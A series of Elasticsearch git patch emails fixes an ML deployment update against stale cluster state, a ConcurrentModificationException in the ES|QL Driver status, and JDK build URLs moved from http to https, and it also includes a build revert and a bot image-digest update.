Date: Fri, 1 Aug 2025 15:38:10 +0100
Subject: [PATCH 279/299] [ML] Fix test failure updating model deployment with
 stale cluster state  (#128667) (#132160)

(cherry picked from commit 989f72ba098d42bcf1260583e097594ef2cd6029)
---
 muted-tests.yml                               |  2 -
 .../TrainedModelAssignmentClusterService.java | 73 ++++---------------
 .../TrainedModelAssignmentNodeService.java    |  7 +-
 ...nedModelAssignmentClusterServiceTests.java |  1 -
 4 files changed, 18 insertions(+), 65 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index b0268436ddb6f..2fc7158a90f77 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -143,8 +143,6 @@ tests:
 - class: org.elasticsearch.backwards.MixedClusterClientYamlTestSuiteIT
   method: test {p0=nodes.stats/11_indices_metrics/indices mappings exact count test for indices level}
   issue: https://github.com/elastic/elasticsearch/issues/120950
-- class: org.elasticsearch.xpack.ml.integration.PyTorchModelIT
-  issue: https://github.com/elastic/elasticsearch/issues/121165
 - class: org.elasticsearch.test.rest.yaml.CcsCommonYamlTestSuiteIT
   issue: https://github.com/elastic/elasticsearch/issues/121407
 - class: org.elasticsearch.analysis.common.CommonAnalysisClientYamlTestSuiteIT
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterService.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterService.java
index b359daebd5368..9d516fb3e1a74 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterService.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterService.java
@@ -11,8 +11,6 @@
 import org.apache.logging.log4j.Logger;
 import org.elasticsearch.ElasticsearchStatusException;
 import org.elasticsearch.ResourceNotFoundException;
-import org.elasticsearch.TransportVersion;
-import org.elasticsearch.TransportVersions;
 import org.elasticsearch.action.ActionListener;
 import org.elasticsearch.action.ActionRequestValidationException;
 import org.elasticsearch.action.support.master.AcknowledgedResponse;
@@ -79,9 +77,6 @@ public class TrainedModelAssignmentClusterService implements ClusterStateListene
 
     private static final Logger logger = LogManager.getLogger(TrainedModelAssignmentClusterService.class);
 
-    private static final TransportVersion RENAME_ALLOCATION_TO_ASSIGNMENT_TRANSPORT_VERSION = TransportVersions.V_8_3_0;
-    public static final TransportVersion DISTRIBUTED_MODEL_ALLOCATION_TRANSPORT_VERSION = TransportVersions.V_8_4_0;
-
     private final ClusterService clusterService;
     private final ThreadPool threadPool;
     private final NodeLoadDetector nodeLoadDetector;
@@ -169,14 +164,6 @@ public void clusterChanged(ClusterChangedEvent event) {
             return;
         }
 
-        if (eventStateMinTransportVersionIsBeforeDistributedModelAllocationTransportVersion(event)) {
-            // we should not try to rebalance assignments while there may be nodes running on a version
-            // prior to introducing distributed model allocation.
-            // But we should remove routing to removed or shutting down nodes.
-            removeRoutingToRemovedOrShuttingDownNodes(event);
-            return;
-        }
-
         if (event.nodesAdded()) {
             logMlNodeHeterogeneity();
         }
@@ -203,10 +190,6 @@ public void clusterChanged(ClusterChangedEvent event) {
         }
     }
 
-    boolean eventStateMinTransportVersionIsBeforeDistributedModelAllocationTransportVersion(ClusterChangedEvent event) {
-        return event.state().getMinTransportVersion().before(DISTRIBUTED_MODEL_ALLOCATION_TRANSPORT_VERSION);
-    }
-
     boolean eventStateHasGlobalBlockStateNotRecoveredBlock(ClusterChangedEvent event) {
         return event.state().blocks().hasGlobalBlock(GatewayService.STATE_NOT_RECOVERED_BLOCK);
     }
@@ -400,18 +383,6 @@ public void createNewModelAssignment(
         CreateTrainedModelAssignmentAction.Request request,
         ActionListener<TrainedModelAssignment> listener
     ) {
-        if (clusterService.state().getMinTransportVersion().before(DISTRIBUTED_MODEL_ALLOCATION_TRANSPORT_VERSION)) {
-            listener.onFailure(
-                new ElasticsearchStatusException(
-                    "cannot create new assignment [{}] for model [{}] while cluster upgrade is in progress",
-                    RestStatus.CONFLICT,
-                    request.getTaskParams().getDeploymentId(),
-                    request.getTaskParams().getModelId()
-                )
-            );
-            return;
-        }
-
         if (MlMetadata.getMlMetadata(clusterService.state()).isResetMode()) {
             listener.onFailure(
                 new ElasticsearchStatusException(
@@ -522,13 +493,11 @@ private static ClusterState update(ClusterState currentState, TrainedModelAssign
 
     private static ClusterState forceUpdate(ClusterState currentState, TrainedModelAssignmentMetadata.Builder modelAssignments) {
         logger.debug(() -> format("updated assignments: %s", modelAssignments.build()));
+
         ProjectMetadata.Builder builder = ProjectMetadata.builder(currentState.metadata().getProject());
-        if (currentState.getMinTransportVersion().onOrAfter(RENAME_ALLOCATION_TO_ASSIGNMENT_TRANSPORT_VERSION)) {
-            builder.putCustom(TrainedModelAssignmentMetadata.NAME, modelAssignments.build())
-                .removeCustom(TrainedModelAssignmentMetadata.DEPRECATED_NAME);
-        } else {
-            builder.putCustom(TrainedModelAssignmentMetadata.DEPRECATED_NAME, modelAssignments.buildOld());
-        }
+        builder.putCustom(TrainedModelAssignmentMetadata.NAME, modelAssignments.build())
+            .removeCustom(TrainedModelAssignmentMetadata.DEPRECATED_NAME);
+
         return ClusterState.builder(currentState).putProjectMetadata(builder).build();
     }
 
@@ -844,7 +813,7 @@ private void updateDeployment(
         }
         boolean hasUpdates = hasUpdates(numberOfAllocations, adaptiveAllocationsSettingsUpdates, existingAssignment);
         if (hasUpdates == false) {
-            logger.info("no updates");
+            logger.debug("no updates to be made for deployment [{}]", deploymentId);
             listener.onResponse(existingAssignment);
             return;
         }
@@ -858,19 +827,9 @@ private void updateDeployment(
             );
             return;
         }
-        if (clusterState.getMinTransportVersion().before(DISTRIBUTED_MODEL_ALLOCATION_TRANSPORT_VERSION)) {
-            listener.onFailure(
-                new ElasticsearchStatusException(
-                    "cannot update deployment with model id [{}] while cluster upgrade is in progress.",
-                    RestStatus.CONFLICT,
-                    deploymentId
-                )
-            );
-            return;
-        }
 
-        ActionListener<ClusterState> updatedStateListener = ActionListener.wrap(
-            updatedState -> submitUnbatchedTask("update model deployment", new ClusterStateUpdateTask() {
+        ActionListener<TrainedModelAssignmentMetadata.Builder> updatedAssignmentListener = ActionListener.wrap(
+            updatedAssignment -> submitUnbatchedTask("update model deployment", new ClusterStateUpdateTask() {
 
                 private volatile boolean isUpdated;
 
@@ -878,7 +837,7 @@ private void updateDeployment(
                 public ClusterState execute(ClusterState currentState) {
                     if (areClusterStatesCompatibleForRebalance(clusterState, currentState)) {
                         isUpdated = true;
-                        return updatedState;
+                        return update(currentState, updatedAssignment);
                     }
                     logger.debug(() -> format("[%s] Retrying update as cluster state has been modified", deploymentId));
                     updateDeployment(currentState, deploymentId, numberOfAllocations, adaptiveAllocationsSettings, isInternal, listener);
@@ -910,7 +869,7 @@ public void clusterStateProcessed(ClusterState oldState, ClusterState newState)
             listener::onFailure
         );
 
-        updateAssignment(clusterState, existingAssignment, numberOfAllocations, adaptiveAllocationsSettings, updatedStateListener);
+        updateAssignment(clusterState, existingAssignment, numberOfAllocations, adaptiveAllocationsSettings, updatedAssignmentListener);
     }
 
     static boolean hasUpdates(
@@ -944,7 +903,7 @@ private void updateAssignment(
         TrainedModelAssignment assignment,
         Integer numberOfAllocations,
         AdaptiveAllocationsSettings adaptiveAllocationsSettings,
-        ActionListener<ClusterState> listener
+        ActionListener<TrainedModelAssignmentMetadata.Builder> listener
     ) {
         threadPool.executor(MachineLearning.UTILITY_THREAD_POOL_NAME).execute(() -> {
             if (numberOfAllocations == null || numberOfAllocations == assignment.getTaskParams().getNumberOfAllocations()) {
@@ -961,13 +920,13 @@ private void updateAndKeepNumberOfAllocations(
         ClusterState clusterState,
         TrainedModelAssignment assignment,
         AdaptiveAllocationsSettings adaptiveAllocationsSettings,
-        ActionListener<ClusterState> listener
+        ActionListener<TrainedModelAssignmentMetadata.Builder> listener
     ) {
         TrainedModelAssignment.Builder updatedAssignment = TrainedModelAssignment.Builder.fromAssignment(assignment)
             .setAdaptiveAllocationsSettings(adaptiveAllocationsSettings);
         TrainedModelAssignmentMetadata.Builder builder = TrainedModelAssignmentMetadata.builder(clusterState);
         builder.updateAssignment(assignment.getDeploymentId(), updatedAssignment);
-        listener.onResponse(update(clusterState, builder));
+        listener.onResponse(builder);
     }
 
     private void increaseNumberOfAllocations(
@@ -975,7 +934,7 @@ private void increaseNumberOfAllocations(
         TrainedModelAssignment assignment,
         int numberOfAllocations,
         AdaptiveAllocationsSettings adaptiveAllocationsSettings,
-        ActionListener<ClusterState> listener
+        ActionListener<TrainedModelAssignmentMetadata.Builder> listener
     ) {
         try {
             TrainedModelAssignment.Builder updatedAssignment = TrainedModelAssignment.Builder.fromAssignment(assignment)
@@ -995,7 +954,7 @@ private void increaseNumberOfAllocations(
                     )
                 );
             } else {
-                listener.onResponse(update(clusterState, rebalancedMetadata));
+                listener.onResponse(rebalancedMetadata);
             }
         } catch (Exception e) {
             listener.onFailure(e);
@@ -1007,7 +966,7 @@ private void decreaseNumberOfAllocations(
         TrainedModelAssignment assignment,
         int numberOfAllocations,
         AdaptiveAllocationsSettings adaptiveAllocationsSettings,
-        ActionListener<ClusterState> listener
+        ActionListener<TrainedModelAssignmentMetadata.Builder> listener
     ) {
         TrainedModelAssignment.Builder updatedAssignment = numberOfAllocations < assignment.totalTargetAllocations()
             ? new AllocationReducer(assignment, nodeAvailabilityZoneMapper.buildMlNodesByAvailabilityZone(clusterState)).reduceTo(
@@ -1022,7 +981,7 @@ private void decreaseNumberOfAllocations(
         }
         TrainedModelAssignmentMetadata.Builder builder = TrainedModelAssignmentMetadata.builder(clusterState);
         builder.updateAssignment(assignment.getDeploymentId(), updatedAssignment);
-        listener.onResponse(update(clusterState, builder));
+        listener.onResponse(builder);
     }
 
     static ClusterState setToStopping(ClusterState clusterState, String deploymentId, String reason) {
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentNodeService.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentNodeService.java
index c86b3e710a736..83db62e2da4de 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentNodeService.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentNodeService.java
@@ -375,12 +375,9 @@ public void clusterChanged(ClusterChangedEvent event) {
         final boolean isResetMode = MlMetadata.getMlMetadata(event.state()).isResetMode();
         TrainedModelAssignmentMetadata modelAssignmentMetadata = TrainedModelAssignmentMetadata.fromState(event.state());
         final String currentNode = event.state().nodes().getLocalNodeId();
-        final boolean isNewAllocationSupported = event.state()
-            .getMinTransportVersion()
-            .onOrAfter(TrainedModelAssignmentClusterService.DISTRIBUTED_MODEL_ALLOCATION_TRANSPORT_VERSION);
         final Set<String> shuttingDownNodes = Collections.unmodifiableSet(event.state().metadata().nodeShutdowns().getAllNodeIds());
 
-        if (isResetMode == false && isNewAllocationSupported) {
+        if (isResetMode == false) {
             updateNumberOfAllocations(modelAssignmentMetadata);
         }
 
@@ -388,7 +385,7 @@ public void clusterChanged(ClusterChangedEvent event) {
             RoutingInfo routingInfo = trainedModelAssignment.getNodeRoutingTable().get(currentNode);
             if (routingInfo != null) {
                 // Add new models to start loading if the assignment is not stopping
-                if (isNewAllocationSupported && trainedModelAssignment.getAssignmentState() != AssignmentState.STOPPING) {
+                if (trainedModelAssignment.getAssignmentState() != AssignmentState.STOPPING) {
                     if (shouldAssignmentBeRestarted(routingInfo, trainedModelAssignment.getDeploymentId())) {
                         prepareAssignmentForRestart(trainedModelAssignment);
                     }
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterServiceTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterServiceTests.java
index 31260403e5d92..059a8c573e039 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterServiceTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentClusterServiceTests.java
@@ -208,7 +208,6 @@ public void testClusterChanged_GivenNodesAdded_ThenLogMlNodeHeterogeneityCalled(
         TrainedModelAssignmentClusterService serviceSpy = spy(createClusterService(randomInt(5)));
         doNothing().when(serviceSpy).logMlNodeHeterogeneity();
         doReturn(false).when(serviceSpy).eventStateHasGlobalBlockStateNotRecoveredBlock(any());
-        doReturn(false).when(serviceSpy).eventStateMinTransportVersionIsBeforeDistributedModelAllocationTransportVersion(any());
 
         ClusterChangedEvent mockNodesAddedEvent = mock(ClusterChangedEvent.class);
         ClusterState mockState = mock(ClusterState.class);

From 8dc697a7d89cd9f036ddda86d3ab743d00ed737d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Fri, 1 Aug 2025 17:45:32 +0200
Subject: [PATCH 280/299] ESQL: Fix Driver creating status with a live list of
 operators (#132260) (#132333)

`DriverStatus` is an immutable record created by the Driver. However, its components are not inherently immutable.

This PR fixes a live collection used by the Driver, that was being directly put into the status, leading to `ConcurrentModificationException`s when reading it (Through the Task list API, for example).

Some example errors:
```
java.util.ConcurrentModificationException
	at java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1096)
	at java.base/java.util.ArrayList$Itr.next(ArrayList.java:1050)
	at org.elasticsearch.compute.operator.DriverStatus.toXContent(DriverStatus.java:134)
	at org.elasticsearch.xcontent@9.2.0/org.elasticsearch.xcontent.XContentBuilder.value(XContentBuilder.java:993)
	at org.elasticsearch.xcontent@9.2.0/org.elasticsearch.xcontent.XContentBuilder.field(XContentBuilder.java:978)
	at org.elasticsearch.server@9.2.0/org.elasticsearch.tasks.TaskInfo.toXContent(TaskInfo.java:113)
	at org.elasticsearch.server@9.2.0/org.elasticsearch.action.admin.cluster.node.tasks.list.TaskGroup.toXContent(TaskGroup.java:63)
	at org.elasticsearch.server@9.2.0/org.elasticsearch.action.admin.cluster.node.tasks.list.TaskGroup.toXContent(TaskGroup.java:67)
	at org.elasticsearch.server@9.2.0/org.elasticsearch.action.admin.cluster.node.tasks.list.ListTasksResponse.lambda$groupedByParent$10(ListTasksResponse.java:183)
```
And:
```
java.util.ConcurrentModificationException
	at java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1096)
	at java.base/java.util.ArrayList$Itr.next(ArrayList.java:1050)
	at org.elasticsearch.compute.operator.DriverStatus.documentsFound(DriverStatus.java:157)
	at org.elasticsearch.compute.operator.DriverStatus.toXContent(DriverStatus.java:129)
	at org.elasticsearch.xcontent@9.2.0/org.elasticsearch.xcontent.XContentBuilder.value(XContentBuilder.java:993)
	at org.elasticsearch.xcontent@9.2.0/org.elasticsearch.xcontent.XContentBuilder.field(XContentBuilder.java:978)
	at org.elasticsearch.server@9.2.0/org.elasticsearch.tasks.TaskInfo.toXContent(TaskInfo.java:113)
	at org.elasticsearch.server@9.2.0org.elasticsearch.action.admin.cluster.node.tasks.list.TaskGroup.toXContent(TaskGroup.java:63)
	at org.elasticsearch.server@9.2.0/org.elasticsearch.action.admin.cluster.node.tasks.list.TaskGroup.toXContent(TaskGroup.java:67)
	at org.elasticsearch.server@9.2.0/org.elasticsearch.action.admin.cluster.node.tasks.list.ListTasksResponse.lambda$groupedByParent$10(ListTasksResponse.java:183)

```

Also, this looks like the source of this issue, with another similar case:
Fixes https://github.com/elastic/elasticsearch/issues/131564
---
 docs/changelog/132260.yaml                    |  6 +++
 .../compute/operator/Driver.java              |  2 +-
 .../compute/operator/DriverTests.java         | 43 +++++++++++++++++++
 3 files changed, 50 insertions(+), 1 deletion(-)
 create mode 100644 docs/changelog/132260.yaml

diff --git a/docs/changelog/132260.yaml b/docs/changelog/132260.yaml
new file mode 100644
index 0000000000000..f00d3fc07fcc9
--- /dev/null
+++ b/docs/changelog/132260.yaml
@@ -0,0 +1,6 @@
+pr: 132260
+summary: FIx Driver creating status with a live list of operators
+area: ES|QL
+type: bug
+issues:
+ - 131564
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java
index 0ad3c64fcaf09..b91cd3f468ad5 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java
@@ -556,7 +556,7 @@ private void updateStatus(long extraCpuNanos, int extraIterations, DriverStatus.
                 prev.cpuNanos() + extraCpuNanos,
                 prev.iterations() + extraIterations,
                 status,
-                statusOfCompletedOperators,
+                List.copyOf(statusOfCompletedOperators),
                 activeOperators.stream().map(op -> new OperatorStatus(op.toString(), op.status())).toList(),
                 sleeps
             );
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverTests.java
index c538cf41ee1fd..be3f11744d3a0 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverTests.java
@@ -49,6 +49,8 @@
 
 import static org.hamcrest.Matchers.either;
 import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.not;
+import static org.hamcrest.Matchers.sameInstance;
 
 public class DriverTests extends ESTestCase {
     /**
@@ -204,6 +206,47 @@ public void testProfileAndStatusInterval() {
         assertThat(driver.profile().iterations(), equalTo((long) inPages.size()));
     }
 
+    public void testUnchangedStatus() {
+        DriverContext driverContext = driverContext();
+        List<Page> inPages = randomList(2, 100, DriverTests::randomPage);
+        List<Page> outPages = new ArrayList<>();
+
+        long startEpoch = randomNonNegativeLong();
+        long startNanos = randomLong();
+        long waitTime = randomLongBetween(10000, 100000);
+        long tickTime = randomLongBetween(10000, 100000);
+        long statusInterval = randomLongBetween(1, 10);
+
+        Driver driver = createDriver(startEpoch, startNanos, driverContext, inPages, outPages, TimeValue.timeValueNanos(statusInterval));
+
+        NowSupplier nowSupplier = new NowSupplier(startNanos, waitTime, tickTime);
+
+        int iterationsPerTick = randomIntBetween(1, 10);
+
+        for (int i = 0; i < inPages.size(); i += iterationsPerTick) {
+            DriverStatus initialStatus = driver.status();
+            long completedOperatorsHash = initialStatus.completedOperators().hashCode();
+            long activeOperatorsHash = initialStatus.activeOperators().hashCode();
+            long sleepsHash = initialStatus.sleeps().hashCode();
+
+            driver.run(TimeValue.timeValueDays(10), iterationsPerTick, nowSupplier);
+
+            DriverStatus newStatus = driver.status();
+            assertThat(newStatus, not(sameInstance(initialStatus)));
+            assertThat(
+                newStatus.completedOperators() != initialStatus.completedOperators()
+                    || newStatus.completedOperators().hashCode() == completedOperatorsHash,
+                equalTo(true)
+            );
+            assertThat(
+                newStatus.activeOperators() != initialStatus.activeOperators()
+                    || newStatus.activeOperators().hashCode() == activeOperatorsHash,
+                equalTo(true)
+            );
+            assertThat(newStatus.sleeps() != initialStatus.sleeps() || newStatus.sleeps().hashCode() == sleepsHash, equalTo(true));
+        }
+    }
+
     private static Driver createDriver(
         long startEpoch,
         long startNanos,

From 2aad3773df798f80439330139051c23d9af36b63 Mon Sep 17 00:00:00 2001
From: Brian Seeders <brian.seeders@elastic.co>
Date: Fri, 1 Aug 2025 17:24:14 -0400
Subject: [PATCH 281/299] OpenJDK EA builds should use https instead of http
 (#132297) (#132342)

(cherry picked from commit 419eeb9dfbd3c4c067f428bcd34b3fa94ddf800e)
---
 .../OracleOpenJdkToolchainResolver.java       |  4 ++--
 .../OracleOpenJdkToolchainResolverSpec.groovy | 22 +++++++++----------
 2 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java
index cfd2d5c1cda7e..dbf60e1b4f4d8 100644
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java
+++ b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java
@@ -62,8 +62,8 @@ record EarlyAccessJdkBuild(JavaLanguageVersion languageVersion, String buildNumb
         @Override
         public String url(String os, String arch, String extension) {
             // example:
-            // http://builds.es-jdk-archive.com/jdks/openjdk/26/openjdk-26-ea+6/openjdk-26-ea+6_linux-aarch64_bin.tar.gz
-            return "http://builds.es-jdk-archive.com/jdks/openjdk/"
+            // https://builds.es-jdk-archive.com/jdks/openjdk/26/openjdk-26-ea+6/openjdk-26-ea+6_linux-aarch64_bin.tar.gz
+            return "https://builds.es-jdk-archive.com/jdks/openjdk/"
                 + languageVersion.asInt()
                 + "/"
                 + "openjdk-"
diff --git a/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy b/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy
index 8000316da36ac..df9f70d0a47f6 100644
--- a/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy
+++ b/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy
@@ -67,16 +67,16 @@ class OracleOpenJdkToolchainResolverSpec extends AbstractToolchainResolverSpec {
          [24, anyVendor(), LINUX, AARCH64, "https://download.oracle.com/java/GA/jdk24/1f9ff9062db4449d8ca828c504ffae90/36/GPL/openjdk-24_linux-aarch64_bin.tar.gz"],
          [24, anyVendor(), WINDOWS, X86_64, "https://download.oracle.com/java/GA/jdk24/1f9ff9062db4449d8ca828c504ffae90/36/GPL/openjdk-24_windows-x64_bin.zip"],
          // EA build
-         [25, ORACLE, MAC_OS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
-         [25, ORACLE, MAC_OS, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
-         [25, ORACLE, LINUX, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
-         [25, ORACLE, LINUX, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
-         [25, ORACLE, WINDOWS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_windows-x64_bin.zip"],
-         [25, anyVendor(), MAC_OS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
-         [25, anyVendor(), MAC_OS, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
-         [25, anyVendor(), LINUX, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
-         [25, anyVendor(), LINUX, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
-         [25, anyVendor(), WINDOWS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_windows-x64_bin.zip"]]
+         [25, ORACLE, MAC_OS, X86_64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
+         [25, ORACLE, MAC_OS, AARCH64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
+         [25, ORACLE, LINUX, X86_64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
+         [25, ORACLE, LINUX, AARCH64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
+         [25, ORACLE, WINDOWS, X86_64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_windows-x64_bin.zip"],
+         [25, anyVendor(), MAC_OS, X86_64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
+         [25, anyVendor(), MAC_OS, AARCH64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
+         [25, anyVendor(), LINUX, X86_64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
+         [25, anyVendor(), LINUX, AARCH64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
+         [25, anyVendor(), WINDOWS, X86_64, "https://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_windows-x64_bin.zip"]]
     }
 
     @RestoreSystemProperties
@@ -113,7 +113,7 @@ class OracleOpenJdkToolchainResolverSpec extends AbstractToolchainResolverSpec {
     }
 
     private static String urlPrefix(int i) {
-        return "http://builds.es-jdk-archive.com/jdks/openjdk/" + i + "/"
+        return "https://builds.es-jdk-archive.com/jdks/openjdk/" + i + "/"
     }
 
     def unsupportedRequests() {

From 6e11381c4acca1a5458108a7793b9d5857adbd5b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mariusz=20J=C3=B3zala?=
 <377355+jozala@users.noreply.github.com>
Date: Sat, 2 Aug 2025 00:49:57 +0200
Subject: [PATCH 282/299] Revert "Standardize on docker image arch classifier
 (#130643) (#131753)" (#132363)

Reverts elastic/elasticsearch#131753 Changes in release-manager are not
ready yet.
---
 .../main/java/org/elasticsearch/gradle/Architecture.java  | 8 +++-----
 distribution/docker/build.gradle                          | 2 +-
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java b/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
index ae47f934b0dc3..c7e6546e66b9a 100644
--- a/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
+++ b/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
@@ -11,17 +11,15 @@
 
 public enum Architecture {
 
-    X64("x86_64", "linux/amd64", "amd64"),
-    AARCH64("aarch64", "linux/arm64", "arm64");
+    X64("x86_64", "linux/amd64"),
+    AARCH64("aarch64", "linux/arm64");
 
     public final String classifier;
     public final String dockerPlatform;
-    public final String dockerClassifier;
 
-    Architecture(String classifier, String dockerPlatform, String dockerClassifier) {
+    Architecture(String classifier, String dockerPlatform) {
         this.classifier = classifier;
         this.dockerPlatform = dockerPlatform;
-        this.dockerClassifier = dockerClassifier;
     }
 
     public static Architecture current() {
diff --git a/distribution/docker/build.gradle b/distribution/docker/build.gradle
index 90e0a9383f753..e3f87117ea029 100644
--- a/distribution/docker/build.gradle
+++ b/distribution/docker/build.gradle
@@ -659,7 +659,7 @@ subprojects { Project subProject ->
       it.setCompression(Compression.GZIP)
       it.getArchiveBaseName().set("elasticsearch${base.suffix}-${VersionProperties.elasticsearch}-docker-image")
       it.getArchiveVersion().set("")
-      it.getArchiveClassifier().set(architecture.dockerClassifier)
+      it.getArchiveClassifier().set(architecture == Architecture.AARCH64 ? 'aarch64' : '')
       it.getDestinationDirectory().set(new File(project.parent.buildDir, 'distributions'))
       it.dependsOn(exportTask)
     }

From 681612ec513b4ed2bedb1d8aab48d0dc25f004ab Mon Sep 17 00:00:00 2001
From: "elastic-renovate-prod[bot]"
 <174716857+elastic-renovate-prod[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 02:03:03 +0200
Subject: [PATCH 283/299] Update wolfi (versioned) (#132085)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR contains the following updates:

| Package | Type | Update | Change | |---|---|---|---| |
docker.elastic.co/wolfi/chainguard-base |  | digest | `2a601e3` ->
`442a566` | | docker.elastic.co/wolfi/chainguard-base | final | digest |
`2a601e3` -> `442a566` | | docker.elastic.co/wolfi/chainguard-base |
stage | digest | `2a601e3` -> `442a566` | |
docker.elastic.co/wolfi/chainguard-base-fips |  | digest | `93befc0` ->
`4a8fe3e` | | docker.elastic.co/wolfi/chainguard-base-fips | final |
digest | `93befc0` -> `4a8fe3e` | |
docker.elastic.co/wolfi/chainguard-base-fips | stage | digest |
`93befc0` -> `4a8fe3e` |

---

### Configuration

📅 **Schedule**: Branch creation - "after 1pm on tuesday" (UTC),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once
you are satisfied.

